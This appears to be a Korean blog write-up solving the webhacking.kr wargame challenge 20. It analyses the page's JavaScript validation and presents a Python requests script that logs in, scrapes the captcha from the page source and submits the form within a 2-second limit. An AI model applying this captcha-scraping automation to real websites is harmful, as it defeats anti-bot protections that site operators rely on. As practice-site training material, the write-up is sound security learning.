본문 바로가기
2. Information Security/3. War Game

웹해킹 20번 (webhacking.kr old 20)

by H232C 2019. 12. 30.

1. 공격 유형 : Javascript 변조

2. 취약점 환경 : Javascript, ServerSide Check 우회

3. Write Up

Challenge 20 처음화면
View PageSource

ⓐ 소스코드 분석
 1. 'Submit' onclick 시 Javascript function ck() 수행
 2. ck() 내에서 lv5frm form 각각의 값 검증 수행
 (id, cmt, captcha 값이 Empty인지와 captcha 값이 동일한지 확인)
 3. '2' 수행 후 lv5frm.submit() 수행

ⓑ 검증 환경
 1. Client Side : Javascript ck() 함수(id, cmt, captcha Empty 검증 및 captcha 입력값 동일여부 검증)
  - ch() 함수 내 id, cmt, captcha 값 Empty 검증 및 captcha 입력값 검증 우회 가능
 2. Server Side : TIme Limit(2초), captcha 입력값 검증
  - Time Limit, Captcha Server Side 검증의 경우 우회 불가

ⓒ 공격 포인트
 1. Time Limit(2초) 내 id, cmt, captcha 값을 웹페이지에 직접(수동으로) 입력하는 것은 불가능함
 2. 2초 내 id, cmt, captcha 값을 입력하기 위해 Python 코드 제작
 3. Python 코드 설명
  - Webhacking.kr 로긴 후 세션을 유지하면서 challenge 20 페이지를 GET하여 captcha 값 추출 후
  id, cmt, captcha 값을 POST로 송신 

import requests
s = requests.Session()

proxyList = {'http':'127.0.0.1:8000',
             'https':'127.0.0.1:8000'}

def login():
    
    url = 'https://webhacking.kr/login.php?login'
    login = {'id':'',
             'pw':''}

    response = s.post(url, data=login, proxies=proxyList, verify=False)
    response.status_code

def pay():
    
    print("[-] Payload Started")
    login();
    
    url = "https://webhacking.kr/challenge/code-4/"
    
    res=s.get(url, verify=False, proxies=proxyList)
    res.status_code
    res=res.text
    
    f1 = res.split()
    f2=f1[47].split('=')
    cap=f2[1].split('"')
    
    cap=cap[1]
    
    header={'Content-Type': 'application/x-www-form-urlencoded'}

    
    res=s.post(url, data='id=d&cmt=d&captcha='+cap,headers=header, proxies=proxyList, verify=False)
    res.status_code
    res=res.text
    
    print(res)

if __name__=="__main__":
    pay();



Solve

댓글